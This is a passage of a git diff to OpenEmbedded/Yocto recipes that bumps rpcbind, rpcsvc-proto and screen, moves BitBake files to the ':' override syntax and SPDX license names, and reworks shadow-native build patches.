ASNEEDED = "" PACKAGECONFIG ??= "tcp-wrappers rpc bsd" -PACKAGECONFIG_libc-musl = "tcp-wrappers rpc" +PACKAGECONFIG:libc-musl = "tcp-wrappers rpc" PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers" PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc" diff --git a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch index b92f2cf7b1..79dc96050e 100644 --- a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch +++ b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch @@ -21,7 +21,7 @@ index 2dd9471..47a46c0 100644 AC_SUBST([_sbindir]) AC_CONFIG_COMMANDS_PRE([eval eval _sbindir=$sbindir]) +AC_SUBST([_sysconfdir]) -+AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sbindir]) ++AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sysconfdir]) AC_OUTPUT([Makefile systemd/rpcbind.service]) diff --git a/systemd/rpcbind.service.in b/systemd/rpcbind.service.in diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch index 434b6b1c4c..535f9ce20d 100644 --- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch +++ b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch @@ -15,7 +15,7 @@ Signed-off-by: Yi Zhao <yi.zhao@windriver.com> 3 files changed, 26 insertions(+), 3 deletions(-) diff --git a/man/rpcbind.8 b/man/rpcbind.8 -index af6200f..2e6146b 100644 +index fbf0ace..66f7c08 100644 --- a/man/rpcbind.8 +++ b/man/rpcbind.8 @@ -11,7 +11,7 @@ @@ -27,17 +27,17 @@ index af6200f..2e6146b 100644 .Sh DESCRIPTION The .Nm -@@ -107,6 +107,8 @@ will automatically add +@@ -96,6 +96,8 @@ will automatically add and if IPv6 is enabled, .Li ::1 to the list. +.It Fl p +Bind for fixed UDP port number - .It Fl i - .Dq Insecure - mode. + If no + .Fl h + option is specified, diff --git a/src/rpcb_svc_com.c b/src/rpcb_svc_com.c -index 8aef9e5..c2632a4 100644 +index 1743dad..07a1c75 100644 --- a/src/rpcb_svc_com.c +++ b/src/rpcb_svc_com.c @@ -48,6 +48,7 @@ @@ -60,8 +60,8 @@ index 8aef9e5..c2632a4 100644 int fd; struct rmtcallfd_list *rmt; SVCXPRT *xprt; -+ struct __rpc_sockinfo si; -+ struct t_bind taddr; ++ struct __rpc_sockinfo si; ++ struct t_bind taddr; if ((fd = __rpc_nconf2fd(nconf)) == -1) { if (debugging) @@ -70,23 +70,23 @@ index 8aef9e5..c2632a4 100644 return (-1); } + -+ if (fixed_port) { -+ __rpc_fd2sockinfo(fd, &si); -+ memset(&taddr, 0, sizeof(taddr)); -+ taddr.addr.maxlen = taddr.addr.len = si.si_alen; -+ taddr.addr.buf = malloc(si.si_alen); -+ if (taddr.addr.buf == NULL) { -+ return -1; -+ } -+ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af; -+ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port); -+ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE); -+ } else ++ if (fixed_port) { ++ __rpc_fd2sockinfo(fd, &si); ++ memset(&taddr, 0, sizeof(taddr)); ++ taddr.addr.maxlen = taddr.addr.len = si.si_alen; ++ taddr.addr.buf = malloc(si.si_alen); ++ if (taddr.addr.buf == NULL) { ++ return -1; ++ } ++ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af; ++ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port); ++ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE); ++ } else xprt = svc_tli_create(fd, 0, (struct t_bind *) 0, 0, 0); if (xprt == NULL) { if (debugging) diff --git a/src/rpcbind.c b/src/rpcbind.c -index 137011b..dc3d2d6 100644 +index 25d8a90..36a95b9 100644 --- a/src/rpcbind.c +++ b/src/rpcbind.c @@ -111,6 +111,7 @@ int runasdaemon = 0; @@ -97,7 +97,7 @@ index 137011b..dc3d2d6 100644 char **hosts = NULL; int nhosts = 0; -@@ -869,7 +870,7 @@ parseargs(int argc, char *argv[]) +@@ -884,7 +885,7 @@ parseargs(int argc, char *argv[]) { int c; oldstyle_local = 1; @@ -106,25 +106,25 @@ index 137011b..dc3d2d6 100644 switch (c) { case 'a': doabort = 1; /* when debugging, do an abort on */ -@@ -887,6 +888,9 @@ parseargs(int argc, char *argv[]) +@@ -902,6 +903,9 @@ parseargs(int argc, char *argv[]) if (hosts[nhosts - 1] == NULL) errx(1, "Out of memory"); break; -+ case 'p': -+ fixed_port = atoi(optarg); -+ break; ++ case 'p': ++ fixed_port = atoi(optarg); ++ break; case 'i': insecure = 1; break; -@@ -905,7 +909,7 @@ parseargs(int argc, char *argv[]) +@@ -920,7 +924,7 @@ parseargs(int argc, char *argv[]) break; #endif default: /* error */ - fprintf(stderr, "usage: rpcbind [-adhilswf]\n"); -+ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n"); ++ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n"); exit (1); } } -- -1.9.1 +2.25.1 diff --git a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb index aff00e56e6..dd89726afc 100644 --- a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb +++ b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb @@ -16,10 +16,9 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \ file://rpcbind_add_option_to_fix_port_number.patch \ file://0001-systemd-use-EnvironmentFile.patch \ " -SRC_URI[md5sum] = "ed46f09b9c0fa2d49015f6431bc5ea7b" -SRC_URI[sha256sum] = "2ce360683963b35c19c43f0ee2c7f18aa5b81ef41c3fdbd15ffcb00b8bffda7a" +SRC_URI[sha256sum] = "5613746489cae5ae23a443bb85c05a11741a5f12c8f55d2bb5e83b9defeee8de" -inherit autotools update-rc.d systemd pkgconfig +inherit autotools update-rc.d systemd pkgconfig update-alternatives PACKAGECONFIG ??= "tcp-wrappers" PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers" @@ -27,26 +26,30 @@ PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers" INITSCRIPT_NAME = "rpcbind" INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ." -SYSTEMD_SERVICE_${PN} = "rpcbind.service rpcbind.socket" +SYSTEMD_SERVICE:${PN} = "rpcbind.service rpcbind.socket" inherit useradd USERADD_PACKAGES = "${PN}" -USERADD_PARAM_${PN} = "--system --no-create-home --home-dir / \ +USERADD_PARAM:${PN} = "--system --no-create-home --home-dir / \ --shell /bin/false --user-group rpc" PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}" -PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_unitdir}/system/, \ +PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/, \ --without-systemdsystemunitdir, \ systemd \ " EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc" -do_install_append () { +do_install:append () { install -d ${D}${sysconfdir}/init.d sed -e 's,/etc/,${sysconfdir}/,g' \ -e 's,/sbin/,${sbindir}/,g' \ ${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind chmod 0755 ${D}${sysconfdir}/init.d/rpcbind + install -m 0644 ${WORKDIR}/rpcbind.conf ${D}${sysconfdir}/rpcbind.conf } + +ALTERNATIVE:${PN} = "rpcinfo" +ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo" diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb index f2e9e3975e..dd7bd2b1be 100644 --- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb +++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb @@ -15,11 +15,11 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=0daaf958d5531ab86169ec6e275e1517" SECTION = "libs" DEPENDS += "rpcsvc-proto-native" -PV = "1.4.1" +PV = "1.4.3" -SRCREV = "e295c9a3b67752734995dfc057bfbf5313ed0d82" +SRCREV = "71e0a12c04d130a78674ac6309eefffa6ecee612" -SRC_URI = "git://github.com/thkukuk/${BPN} \ +SRC_URI = "git://github.com/thkukuk/${BPN};branch=master;protocol=https \ file://0001-Use-cross-compiled-rpcgen.patch \ " @@ -27,13 +27,13 @@ S = "${WORKDIR}/git" inherit autotools gettext -EXTRA_OEMAKE_class-native = " -C rpcgen" +EXTRA_OEMAKE:class-native = " -C rpcgen" -do_configure_prepend() { +do_configure:prepend() { touch ${S}/ABOUT-NLS } -do_install_append() { +do_install:append() { # They come from quota recipe rm -rf ${D}${includedir}/rpcsvc/rquota.[hx] } diff --git a/meta/recipes-extended/screen/screen_4.8.0.bb b/meta/recipes-extended/screen/screen_4.9.0.bb index 4772eb6c7a..b36173b8de 100644 --- a/meta/recipes-extended/screen/screen_4.8.0.bb +++ b/meta/recipes-extended/screen/screen_4.9.0.bb @@ -7,14 +7,14 @@ BUGTRACKER = "https://savannah.gnu.org/bugs/?func=additem&group=screen" SECTION = "console/utils" -LICENSE = "GPLv3+" +LICENSE = "GPL-3.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \ file://screen.h;endline=26;md5=b8dc717c9a3dba842ae6c44ca0f73f52 \ " DEPENDS = "ncurses virtual/crypt \ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}" -RDEPENDS_${PN} = "base-files" +RDEPENDS:${PN} = "base-files" SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \ @@ -23,8 +23,7 @@ SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \ file://0001-Remove-more-compatibility-stuff.patch \ " -SRC_URI[md5sum] = "d276213d3acd10339cd37848b8c4ab1e" -SRC_URI[sha256sum] = "6e11b13d8489925fde25dfb0935bf6ed71f9eb47eff233a181e078fde5655aa1" +SRC_URI[sha256sum] = "f9335281bb4d1538ed078df78a20c2f39d3af9a4e91c57d084271e0289c730f4" inherit autotools texinfo @@ -34,17 +33,17 @@ PACKAGECONFIG[utempter] = "ac_cv_header_utempter_h=yes,ac_cv_header_utempter_h=n EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-sys-screenrc=${sysconfdir}/screenrc \ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}" -do_install_append () { +do_install:append () { install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then install -D -m 644 ${WORKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen fi } -pkg_postinst_${PN} () { +pkg_postinst:${PN} () { grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells } -pkg_postrm_${PN} () { +pkg_postrm:${PN} () { printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells } diff --git a/meta/recipes-extended/sed/sed_4.8.bb b/meta/recipes-extended/sed/sed_4.8.bb index 39e3a61df5..31e971aeac 100644 --- a/meta/recipes-extended/sed/sed_4.8.bb +++ b/meta/recipes-extended/sed/sed_4.8.bb @@ -1,6 +1,7 @@ SUMMARY = "Stream EDitor (text filtering utility)" HOMEPAGE = "http://www.gnu.org/software/sed/" -LICENSE = "GPLv3+" +DESCRIPTION = "sed (stream editor) is a non-interactive command-line text editor." +LICENSE = "GPL-3.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \ file://sed/sed.h;beginline=1;endline=15;md5=fb3c7e6fbca6f66943859153d4be8efe \ " @@ -17,8 +18,8 @@ inherit autotools texinfo update-alternatives gettext ptest PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux" -RDEPENDS_${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat" -RRECOMMENDS_${PN}-ptest_append_libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7" +RDEPENDS:${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat" +RRECOMMENDS:${PN}-ptest:append:libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7" EXTRA_OECONF = "--disable-acl \ " @@ -32,7 +33,7 @@ do_install () { fi } -ALTERNATIVE_${PN} = "sed" +ALTERNATIVE:${PN} = "sed" ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed" ALTERNATIVE_PRIORITY = "100" @@ -62,4 +63,6 @@ do_install_ptest() { -i ${D}${PTEST_PATH}/Makefile } -RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}" +RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}" + +BBCLASSEXTEND = "nativesdk" diff --git a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch b/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch index ab317b9aa0..4bb6be43ed 100644 --- a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch +++ b/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch @@ -1,123 +1,22 @@ -From fa2d9453656641002802d8165e80adb9e6a729d2 Mon Sep 17 00:00:00 2001 -From: Scott Garman <scott.a.garman@intel.com> -Date: Thu, 14 Apr 2016 12:28:57 +0200 -Subject: [PATCH] Disable use of syslog for sysroot +Disable use of syslog for shadow-native tools Disable use of syslog to prevent sysroot user and group additions from writing entries to the host's syslog. This patch should only be used with the shadow-native recipe. -Upstream-Status: Inappropriate [disable feature] +Upstream-Status: Inappropriate [OE specific configuration] +Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org> -Signed-off-by: Scott Garman <scott.a.garman@intel.com> -Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com> -Signed-off-by: Chen Qi <Qi.Chen@windriver.com> - ---- - src/groupadd.c | 3 +++ - src/groupdel.c | 3 +++ - src/groupmems.c | 3 +++ - src/groupmod.c | 3 +++ - src/useradd.c | 3 +++ - src/userdel.c | 3 +++ - src/usermod.c | 3 +++ - 7 files changed, 21 insertions(+) - -diff --git a/src/groupadd.c b/src/groupadd.c -index 2dd8eec..e9c4bb7 100644 ---- a/src/groupadd.c -+++ b/src/groupadd.c -@@ -34,6 +34,9 @@ - - #ident "$Id$" - -+/* Disable use of syslog since we're running this command against a sysroot */ -+#undef USE_SYSLOG -+ - #include <ctype.h> - #include <fcntl.h> - #include <getopt.h> -diff --git a/src/groupdel.c b/src/groupdel.c -index f941a84..5a70056 100644 ---- a/src/groupdel.c -+++ b/src/groupdel.c -@@ -34,6 +34,9 @@ - - #ident "$Id$" - -+/* Disable use of syslog since we're running this command against a sysroot */ -+#undef USE_SYSLOG -+ - #include <ctype.h> - #include <fcntl.h> - #include <grp.h> -diff --git a/src/groupmems.c b/src/groupmems.c -index fc91c8b..2842514 100644 ---- a/src/groupmems.c -+++ b/src/groupmems.c -@@ -32,6 +32,9 @@ - - #include <config.h> - -+/* Disable use of syslog since we're running this command against a sysroot */ -+#undef USE_SYSLOG -+ - #include <fcntl.h> - #include <getopt.h> - #include <grp.h> -diff --git a/src/groupmod.c b/src/groupmod.c -index 1dca5fc..bc14438 100644 ---- a/src/groupmod.c -+++ b/src/groupmod.c -@@ -34,6 +34,9 @@ - - #ident "$Id$" - -+/* Disable use of syslog since we're running this command against a sysroot */ -+#undef USE_SYSLOG -+ - #include <ctype.h> - #include <fcntl.h> - #include <getopt.h> -diff --git a/src/useradd.c b/src/useradd.c -index 4af0f7c..1b7bf06 100644 ---- a/src/useradd.c -+++ b/src/useradd.c -@@ -34,6 +34,9 @@ - - #ident "$Id$" - -+/* Disable use of syslog since we're running this command against a sysroot */ -+#undef USE_SYSLOG -+ - #include <assert.h> - #include <ctype.h> - #include <errno.h> -diff --git a/src/userdel.c b/src/userdel.c -index cc951e5..153e0be 100644 ---- a/src/userdel.c -+++ b/src/userdel.c -@@ -34,6 +34,9 @@ - - #ident "$Id$" - -+/* Disable use of syslog since we're running this command against a sysroot */ -+#undef USE_SYSLOG -+ - #include <assert.h> - #include <errno.h> - #include <fcntl.h> -diff --git a/src/usermod.c b/src/usermod.c -index 05b9871..21c6da9 100644 ---- a/src/usermod.c -+++ b/src/usermod.c -@@ -34,6 +34,9 @@ - - #ident "$Id$" - -+/* Disable use of syslog since we're running this command against a sysroot */ -+#undef USE_SYSLOG -+ - #include <assert.h> - #include <ctype.h> - #include <errno.h> +Index: shadow-4.11.1/configure.ac +=================================================================== +--- shadow-4.11.1.orig/configure.ac ++++ shadow-4.11.1/configure.ac +@@ -204,7 +204,7 @@ AC_DEFINE_UNQUOTED(PASSWD_PROGRAM, "$sha + [Path to passwd program.]) + + dnl XXX - quick hack, should disappear before anyone notices :). +-AC_DEFINE(USE_SYSLOG, 1, [Define to use syslog().]) ++AC_DEFINE(USE_SYSLOG, 0, [Define to use syslog().]) + if test "$ac_cv_func_ruserok" = "yes"; then + AC_DEFINE(RLOGIN, 1, [Define if login should support the -r flag for rlogind.]) + AC_DEFINE(RUSEROK, 0, [Define to the ruserok() "success" return value (0 or 1).]) diff --git a/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch b/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch deleted file mode 100644 index c6332e4f76..0000000000 --- a/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch +++ /dev/null @@ -1,301 +0,0 @@ -From a7d995228491ad5255ad86c1f04ba071f6880897 Mon Sep 17 00:00:00 2001 -From: Chen Qi <Qi.Chen@windriver.com> -Date: Sat, 16 Nov 2013 15:27:47 +0800 -Subject: [PATCH] Allow for setting password in clear text - -Upstream-Status: Inappropriate [OE specific] - -Signed-off-by: Chen Qi <Qi.Chen@windriver.com> - ---- - src/Makefile.am | 8 ++++---- - src/groupadd.c | 20 +++++++++++++++----- - src/groupmod.c | 20 +++++++++++++++----- - src/useradd.c | 21 +++++++++++++++------ - src/usermod.c | 20 +++++++++++++++----- - 5 files changed, 64 insertions(+), 25 deletions(-) - -diff --git a/src/Makefile.am b/src/Makefile.am -index f31fd7a..4a317a3 100644 ---- a/src/Makefile.am -+++ b/src/Makefile.am -@@ -103,10 +103,10 @@ chsh_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT_NOPAM) - chpasswd_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT) $(LIBECONF) - expiry_LDADD = $(LDADD) $(LIBECONF) - gpasswd_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT) $(LIBECONF) --groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) -+groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) $(LIBCRYPT) - groupdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) - groupmems_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) --groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) -+groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) $(LIBCRYPT) - grpck_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) - grpconv_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) - grpunconv_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) -@@ -127,9 +127,9 @@ su_SOURCES = \ - suauth.c - su_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBCRYPT_NOPAM) $(LIBSKEY) $(LIBMD) $(LIBECONF) - sulogin_LDADD = $(LDADD) $(LIBCRYPT) $(LIBECONF) --useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) -+useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) $(LIBCRYPT) - userdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBECONF) --usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) -+usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) $(LIBCRYPT) - vipw_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) - - install-am: all-am -diff --git a/src/groupadd.c b/src/groupadd.c -index e9c4bb7..d572c00 100644 ---- a/src/groupadd.c -+++ b/src/groupadd.c -@@ -127,9 +127,10 @@ static /*@noreturn@*/void usage (int status) - (void) fputs (_(" -o, --non-unique allow to create groups with duplicate\n" - " (non-unique) GID\n"), usageout); - (void) fputs (_(" -p, --password PASSWORD use this encrypted password for the new group\n"), usageout); -+ (void) fputs (_(" -P, --clear-password PASSWORD use this clear password for the new group\n"), usageout); - (void) fputs (_(" -r, --system create a system account\n"), usageout); - (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout); -- (void) fputs (_(" -P, --prefix PREFIX_DIR directory prefix\n"), usageout); -+ (void) fputs (_(" -A, --prefix PREFIX_DIR directory prefix\n"), usageout); - (void) fputs ("\n", usageout); - exit (status); - } -@@ -391,13 +392,14 @@ static void process_flags (int argc, char **argv) - {"key", required_argument, NULL, 'K'}, - {"non-unique", no_argument, NULL, 'o'}, - {"password", required_argument, NULL, 'p'}, -+ {"clear-password", required_argument, NULL, 'P'}, - {"system", no_argument, NULL, 'r'}, - {"root", required_argument, NULL, 'R'}, -- {"prefix", required_argument, NULL, 'P'}, -+ {"prefix", required_argument, NULL, 'A'}, - {NULL, 0, NULL, '\0'} - }; - -- while ((c = getopt_long (argc, argv, "fg:hK:op:rR:P:", -+ while ((c = getopt_long (argc, argv, "fg:hK:op:P:rR:A:", - long_options, NULL)) != -1) { - switch (c) { - case 'f': -@@ -449,12 +451,20 @@ static void process_flags (int argc, char **argv) - pflg = true; - group_passwd = optarg; - break; -+ case 'P': -+ pflg = true; -+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL)); -+ break; - case 'r': - rflg = true; - break; - case 'R': /* no-op, handled in process_root_flag () */ - break; -- case 'P': /* no-op, handled in process_prefix_flag () */ -+ case 'A': /* no-op, handled in process_prefix_flag () */ -+ fprintf (stderr, -+ _("%s: -A is deliberately not supported \n"), -+ Prog); -+ exit (E_BAD_ARG); - break; - default: - usage (E_USAGE); -@@ -588,7 +598,7 @@ int main (int argc, char **argv) - (void) textdomain (PACKAGE); - - process_root_flag ("-R", argc, argv); -- prefix = process_prefix_flag ("-P", argc, argv); -+ prefix = process_prefix_flag ("-A", argc, argv); - - OPENLOG ("groupadd"); - #ifdef WITH_AUDIT -diff --git a/src/groupmod.c b/src/groupmod.c -index bc14438..25ccb44 100644 ---- a/src/groupmod.c -+++ b/src/groupmod.c -@@ -138,8 +138,9 @@ static void usage (int status) - (void) fputs (_(" -o, --non-unique allow to use a duplicate (non-unique) GID\n"), usageout); - (void) fputs (_(" -p, --password PASSWORD change the password to this (encrypted)\n" - " PASSWORD\n"), usageout); -+ (void) fputs (_(" -P, --clear-password PASSWORD change the password to this clear PASSWORD\n"), usageout); - (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout); -- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout); -+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout); - (void) fputs ("\n", usageout); - exit (status); - } -@@ -387,11 +388,12 @@ static void process_flags (int argc, char **argv) - {"new-name", required_argument, NULL, 'n'}, - {"non-unique", no_argument, NULL, 'o'}, - {"password", required_argument, NULL, 'p'}, -+ {"clear-password", required_argument, NULL, 'P'}, - {"root", required_argument, NULL, 'R'}, -- {"prefix", required_argument, NULL, 'P'}, -+ {"prefix", required_argument, NULL, 'A'}, - {NULL, 0, NULL, '\0'} - }; -- while ((c = getopt_long (argc, argv, "g:hn:op:R:P:", -+ while ((c = getopt_long (argc, argv, "g:hn:op:P:R:A:", - long_options, NULL)) != -1) { - switch (c) { - case 'g': -@@ -418,9 +420,17 @@ static void process_flags (int argc, char **argv) - group_passwd = optarg; - pflg = true; - break; -+ case 'P': -+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL)); -+ pflg = true; -+ break; - case 'R': /* no-op, handled in process_root_flag () */ - break; -- case 'P': /* no-op, handled in process_prefix_flag () */ -+ case 'A': /* no-op, handled in process_prefix_flag () */ -+ fprintf (stderr, -+ _("%s: -A is deliberately not supported \n"), -+ Prog); -+ exit (E_BAD_ARG); - break; - default: - usage (E_USAGE); -@@ -761,7 +771,7 @@ int main (int argc, char **argv) - (void) textdomain (PACKAGE); - - process_root_flag ("-R", argc, argv); -- prefix = process_prefix_flag ("-P", argc, argv); -+ prefix = process_prefix_flag ("-A", argc, argv); - - OPENLOG ("groupmod"); - #ifdef WITH_AUDIT -diff --git a/src/useradd.c b/src/useradd.c -index 1b7bf06..44f09e2 100644 ---- a/src/useradd.c -+++ b/src/useradd.c -@@ -853,9 +853,10 @@ static void usage (int status) - (void) fputs (_(" -o, --non-unique allow to create users with duplicate\n" - " (non-unique) UID\n"), usageout); - (void) fputs (_(" -p, --password PASSWORD encrypted password of the new account\n"), usageout); -+ (void) fputs (_(" -P, --clear-password PASSWORD clear password of the new account\n"), usageout); - (void) fputs (_(" -r, --system create a system account\n"), usageout); - (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout); -- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout); -+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout); - (void) fputs (_(" -s, --shell SHELL login shell of the new account\n"), usageout); - (void) fputs (_(" -u, --uid UID user ID of the new account\n"), usageout); - (void) fputs (_(" -U, --user-group create a group with the same name as the user\n"), usageout); -@@ -1133,9 +1134,10 @@ static void process_flags (int argc, char **argv) - {"no-user-group", no_argument, NULL, 'N'}, - {"non-unique", no_argument, NULL, 'o'}, - {"password", required_argument, NULL, 'p'}, -+ {"clear-password", required_argument, NULL, 'P'}, - {"system", no_argument, NULL, 'r'}, - {"root", required_argument, NULL, 'R'}, -- {"prefix", required_argument, NULL, 'P'}, -+ {"prefix", required_argument, NULL, 'A'}, - {"shell", required_argument, NULL, 's'}, - {"uid", required_argument, NULL, 'u'}, - {"user-group", no_argument, NULL, 'U'}, -@@ -1146,9 +1148,9 @@ static void process_flags (int argc, char **argv) - }; - while ((c = getopt_long (argc, argv, - #ifdef WITH_SELINUX -- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:UZ:", -+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:UZ:", - #else /* !WITH_SELINUX */ -- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:U", -+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:U", - #endif /* !WITH_SELINUX */ - long_options, NULL)) != -1) { - switch (c) { -@@ -1320,12 +1322,19 @@ static void process_flags (int argc, char **argv) - } - user_pass = optarg; - break; -+ case 'P': /* set clear text password */ -+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL)); -+ break; - case 'r': - rflg = true; - break; - case 'R': /* no-op, handled in process_root_flag () */ - break; -- case 'P': /* no-op, handled in process_prefix_flag () */ -+ case 'A': /* no-op, handled in process_prefix_flag () */ -+ fprintf (stderr, -+ _("%s: -A is deliberately not supported \n"), -+ Prog); -+ exit (E_BAD_ARG); - break; - case 's': - if ( ( !VALID (optarg) ) -@@ -2257,7 +2266,7 @@ int main (int argc, char **argv) - - process_root_flag ("-R", argc, argv); 